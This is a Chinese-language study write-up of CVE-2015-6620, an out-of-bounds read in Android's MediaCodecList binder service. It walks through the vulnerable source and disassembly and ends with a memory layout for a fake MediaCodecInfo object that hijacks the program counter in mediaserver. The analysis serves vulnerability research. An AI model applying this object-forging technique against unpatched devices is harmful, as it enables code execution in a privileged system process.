[原创]cve-2015-6620学习总结
cve-2015-6620学习总结
前言
想学习下android漏洞方面的知识,搜了下发现Flanker Edward在知乎上有个回答,提到了binder的经典漏洞cve-2015-6620,所以就从这个漏洞开始学习。作者提供了poc以及文档,这篇笔记主要记录下学习中遇到的问题,以及自己的一些理解。
环境搭建与基础知识
第一次调试android漏洞,搭建环境花了些力气,主要有如下环境,推荐安装pead-arm和shadow这两个gdb插件。
这是android平台上的binder方面的漏洞,所以涉及一些android底层的知识需要学习下。
- binder
- 智能指针
漏洞成因
cve-2015-6620包含两个漏洞,编号分别为24123723和24445127。主要分析的是24445127 MediaCodecInfo越界访问,因为这个漏洞可以利用的点更多些。漏洞存在于MediaCodcList服务。该Binder服务提供了一个getCodecInfo的功能,存在漏洞的代码如下:
//http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54
status_t BnMediaCodecList::onTransact(
uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags)
{
switch (code) {
case GET_CODEC_INFO:
{
CHECK_INTERFACE(IMediaCodecList, data, reply);
size_t index = static_cast<size_t>(data.readInt32());
const sp<MediaCodecInfo> info = getCodecInfo(index); //调用服务端的实现
if (info != NULL) {
reply->writeInt32(OK);
info->writeToParcel(reply);
} else {
reply->writeInt32(-ERANGE);
}
return NO_ERROR;
}
break;
从Parce中读取从客户端传来的索引index,然后调用在服务端的实现的getCodecInfo。看下在MediaCodecList中实现的getCodecInfo
// http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49
struct MediaCodecList : public BnMediaCodecList {
Vector<sp<MediaCodecInfo> > mCodecInfos;
virtual sp<MediaCodecInfo> getCodecInfo(size_t index) const {
return mCodecInfos.itemAt(index); // 未进行任何边界检查
}
}
可以看到直接调用了vector的itemAt函数,并未进行任何边界检查。而index是我们作为客户端程序可以控制的,这个地方就存在一个越界访问的漏洞。
漏洞利用
根据漏洞的成因,我们现在有这样一个能力:可以越界访问Binder服务所在进程中的一个vector<sp<MediaCodecInfo>>,但是只能读取不能写入。漏洞的作者利用这样一种能力可以实现任意地址读取和pc寄存器的控制,很是神奇。主要分析下pc控制的原理。在分析poc原理前,需要了解相关对象在内存的布局,如下图所示:

pc control poc原理分析
一个越界读可以造成pc的控制,关键在于getCodecInfo的调用: const sp\<MediaCodecInfo\> info = getCodecInfo(index);
//sp 拷贝构造函数
template<typename T>
sp<T>::sp(const sp<T>& other)
: m_ptr(other.m_ptr)
{
if (m_ptr) m_ptr->incStrong(this);
}
上面的代码是用getCodecInfo函数的返回新建了一个info对象,这就会调用info的拷贝构造函数。info的类型为sp,sp的拷贝构造函数如上所示。可以看看getCodecInfo的汇编版本,像这样返回对象的函数,一般会把R0指向返回对象保存的地址。
//libstagefright.so
.text:000A9478 ; android::sp<android::MediaCodecInfo> __usercall android::MediaCodecList::getCodecInfo@<R0>(const android::MediaCodecList *this@<R1>, size_t index@<R2>)
.text:000A9478 return_obj = R0 ;保存的就是上面info的地址
.text:000A9478 this = R1 ; const android::MediaCodecList *
.text:000A9478 index = R2 ; size_t
.text:000A9478 PUSH.W {R11,LR}
.text:000A947C MOV R3, R0
.text:000A947E LDR R0, [this,#0x5C]
.text:000A9480 LDR.W R0, [R0,index,LSL#2] ; 这里可以越界读取
.text:000A9484 STR R0, [R3]; 设置info.m_prt
.text:000A9486 CMP R0, #0
.text:000A9488 ITT NE
.text:000A948A MOVNE this, R3 ; 调用info的拷贝构造函数,因为inline优化直接调用了(info.m_ptr)->incStrong()
.text:000A948C BLXNE _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*)
.text:000A9490 POP.W {R11,PC}
.text:000A9490 ; End of function android::MediaCodecList::getCodecInfo(uint)
可以看到会将vector的内容读取到R0中,如果R0不为零,会调用incStrong, 代码如下:
//http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322
void RefBase::incStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->incWeak(id);
refs->addStrongRef(id);
const int32_t c = android_atomic_inc(&refs->mStrong);
ALOG_ASSERT(c > 0, "incStrong() called on %p after last strong ref", refs);
#if PRINT_REFS
ALOGD("incStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
if (c != INITIAL_STRONG_VALUE) {
return;
}
android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong);
refs->mBase->onFirstRef(); //这里有虚函数的调用
}
汇编代码版本,可以清楚看到存在虚函数的调用:
// libutils.so
.text:0000E6BE ; void __fastcall android::RefBase::incStrong(const android::RefBase *const this, const void *id)
.text:0000E6BE EXPORT _ZNK7android7RefBase9incStrongEPKv
.text:0000E6BE
.text:0000E6BE this = R0 ; const android::RefBase *const
.text:0000E6BE id = R1 ; const void *
.text:0000E6BE PUSH {R4,LR}
.text:0000E6C0 LDR R4, [this,#4] ;this存放的就是越界读取的内容
.text:0000E6C2 refs = R4 ; android::RefBase::weakref_impl *const
.text:0000E6C2 MOV this, refs ; this
.text:0000E6C4 BLX j__ZN7android7RefBase12weakref_type7incWeakEPKv ;
.text:0000E6C8 DMB.W SY
.text:0000E6CC LDREX.W R3, [refs]
.text:0000E6D0 ADDS R2, R3, #1
.text:0000E6D2 STREX.W R1, R2, [refs]
.text:0000E6D6 CMP R1, #0
.text:0000E6D8 BNE loc_E6CC
.text:0000E6DA CMP.W R3, #0x10000000
.text:0000E6DE BNE locret_E700
.text:0000E6E0 DMB.W SY
.text:0000E6E4 LDREX.W R0, [refs]
.text:0000E6E8 ADD.W R12, R0, #0xF0000000
.text:0000E6EC STREX.W R3, R12, [refs]
.text:0000E6F0 CMP R3, #0
.text:0000E6F2 BNE loc_E6E4
.text:0000E6F4 LDR R0, [refs,#8]
.text:0000E6F6 LDR refs, [R0] ; vtable
.text:0000E6F8 LDR R2, [R4,#8] ; 可以通过这里控制pc
.text:0000E6FA POP.W {R4,LR}
.text:0000E6FE BX R2
梳理一下就是,越界读取的内容放入R0,然后进行如下操作:
refs = [R0 + 4]
if ([refs] == 0x10000000)
mbase = [refs + 8]
vtable = [mbase]
call [vtable + 8]
也就是说如果我们在内存中伪造了合适的MeidaCodecInfo,并且将指向该伪造的MediaCodecInfo的指针放入vector<sp<MediaCodecInfo>>存储区的后面,这样我们就可以通过越界访问,读取到指向该伪造的MediaCodecInfo的指针,进而控制pc。我们可以在内存中伪造如下的MediaCodecInfo:
//BASEADDR 为假MediaCodecInfo的起始地址 *(BASEADDR) = vtale; //设置MediaCodecInfo vtable 随便填写 *((unsigned int *)BASEADDR + 1) = BASEADDR + 12; //mRefs, 使他指向BASEADDR + 12 *((unsigned int *)BASEADDR + 3) = 0x10000000; //mRefs指向此处,即虚假的info->mRefs的起始地址 *((unsigned int *)BASEADDR + 5) = BASEADDR + 0x20; //info->mRefs->mBase字段,使他指向BASEADDR + 0x20 *((unsigned int*)BASEADDR + 8) = BASEADDR + 0x20 + 4; //mBase的vtable字段,使他指向BASEADDR + 0x20 + 4 *((unsigned int*)BASEADDR + 11) = 0x61616161; //vtable + 8, 我们可以在此处放置目标pc
最终poc运行成功,mediaserver运行到我们指定的位置:0x61616161
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
